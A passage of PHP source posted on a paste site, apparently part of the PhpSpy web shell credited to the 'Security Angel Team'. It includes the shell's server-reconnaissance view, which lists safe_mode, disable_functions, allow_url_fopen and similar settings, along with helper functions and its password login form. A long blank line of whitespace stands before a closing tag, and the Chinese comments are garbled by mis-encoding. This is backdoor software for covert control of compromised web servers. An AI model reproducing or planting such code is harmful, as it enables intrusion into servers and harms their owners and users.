  1293.         11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1294.         12 => array('Safe Mode',getcfg('safe_mode')),
  1295.         13 => array('Administrator',$adminmail),
  1296.         14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1297.         15 => array('enable_dl',getcfg('enable_dl')),
  1298.         16 => array('display_errors',getcfg('display_errors')),
  1299.         17 => array('register_globals',getcfg('register_globals')),
  1300.         18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1301.         19 => array('memory_limit',getcfg('memory_limit')),
  1302.         20 => array('post_max_size',getcfg('post_max_size')),
  1303.         21 => array('upload_max_filesize',$upsize),
  1304.         22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1305.         23 => array('disable_functions',$dis_func),
  1306.     );
  1307.  
  1308.     if($phpvarname) {
  1309.         m($phpvarname .' : '.getcfg($phpvarname));
  1310.     }
  1311.  
  1312.     formhead(array('title'=>'Server environment'));
  1313.     makehide('action','phpenv');
  1314.     makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1315.     formfooter();
  1316.  
  1317.     $hp = array(0=> 'Server', 1=> 'PHP');
  1318.     for($a=0;$a<2;$a++) {
  1319.         p('<h2>'.$hp[$a].' &raquo;</h2>');
  1320.         p('<ul class="info">');
  1321.         if ($a==0) {
  1322.             for($i=1;$i<=9;$i++) {
  1323.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1324.             }
  1325.         } elseif ($a == 1) {
  1326.             for($i=10;$i<=23;$i++) {
  1327.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1328.             }
  1329.         }
  1330.         p('</ul>');
  1331.     }
  1332. }//end phpenv
  1333.  
  1334. else {
  1335.     m('Undefined Action');
  1336. }
  1337.  
  1338. ?>
  1339. </td></tr></table>
  1340. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
  1341.     <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1342.     Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
  1343. </div>
  1344. </body>
  1345. </html>
  1346.  
  1347. <?php
  1348.  
  1349. /*======================================================
  1350. º¯Êý¿â
  1351. ======================================================*/
  1352.  
  1353. function m($msg) {
  1354.     echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1355.     echo $msg;
  1356.     echo '</div>';
  1357. }
  1358. function scookie($key, $value, $life = 0, $prefix = 1) {
  1359.     global $admin, $timestamp, $_SERVER;
  1360.     $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1361.     $life = $life ? $life : $admin['cookielife'];
  1362.     $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1363.     setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1364. }  
  1365. function multi($num, $perpage, $curpage, $tablename) {
  1366.     $multipage = '';
  1367.     if($num > $perpage) {
  1368.         $page = 10;
  1369.         $offset = 5;
  1370.         $pages = @ceil($num / $perpage);
  1371.         if($page > $pages) {
  1372.             $from = 1;
  1373.             $to = $pages;
  1374.         } else {
  1375.             $from = $curpage - $offset;
  1376.             $to = $curpage + $page - $offset - 1;
  1377.             if($from < 1) {
  1378.                 $to = $curpage + 1 - $from;
  1379.                 $from = 1;
  1380.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1381.                     $to = $page;
  1382.                 }
  1383.             } elseif($to > $pages) {
  1384.                 $from = $curpage - $pages + $to;
  1385.                 $to = $pages;
  1386.                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1387.                     $from = $pages - $page + 1;
  1388.                 }
  1389.             }
  1390.         }
  1391.         $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1392.         for($i = $from; $i <= $to; $i++) {
  1393.             $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1394.         }
  1395.         $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1396.         $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1397.     }
  1398.     return $multipage;
  1399. }
  1400. // µÇ½Èë¿Ú
  1401. function loginpage() {
  1402. ?>
  1403.     <style type="text/css">
  1404.     input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
  1405.     </style>
  1406.     <form method="POST" action="">
  1407.     <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
  1408.     <input type="hidden" name="doing" value="login">
  1409.     <input type="submit" value="Login">
  1410.     </form>
  1411. <?php
  1412.                                                                                                                                                                                                                                                
  1413.  
  1414. ?>
Add Comment
Please, Sign In to add comment